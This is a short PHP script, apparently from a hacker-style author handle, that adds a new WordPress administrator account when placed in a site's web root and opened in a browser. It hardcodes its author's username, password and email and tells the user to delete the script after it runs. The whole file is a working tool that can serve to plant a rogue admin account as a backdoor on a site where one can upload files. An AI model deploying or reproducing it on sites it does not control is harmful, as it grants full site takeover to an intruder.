Wordpress Add-Admin User

<?php
// Admin User Auto Add Coded By Pisher_Black
// Don't Forget to remove this script after user add !
// Put this file in your Wordpress /Public_html Directory and run it from your browser \!/


require_once('wp-blog-header.php');
require_once('wp-includes/registration.php');

// Change this , you are free to put the logins you want ^_^
$newusername = 'PisH3r';
$newpassword = 'pisher01..';
$newemail = 'pisher.blackserver01@gmail.com';

// Set The Configs vars
if ( $newpassword != 'YOURPASSWORD' && $newemail != 'YOUREMAIL@TEST.com' && $newusername !='YOURUSERNAME'  )
{
    // Check that the user doesn't exist already
    if ( !username_exists($newusername) && !email_exists($newemail) )
    {
        // Create the admin user and set the role to Administrator
        $user_id = wp_create_user( $newusername, $newpassword, $newemail);
        if ( is_int($user_id) )
        {
            $wp_user_object = new WP_User($user_id);
            $wp_user_object->set_role('administrator');
            echo 'Successfully created new admin user. Now delete this script ^_^ and dont be lazy !  new user:PisH3r and new pass:pisher01.';
        }
        else {
            echo 'Error with wp_insert_user. No users were created , you are drunk man xD go watch cartoon !';
        }
    }
    else {
        echo 'This user or email already exists , you are drunk man xD put glasses °_° !';
    }
}
else {
    echo "You didn't set a password, username, or email inside the script before running the script , you drunk man xD !";
}

?>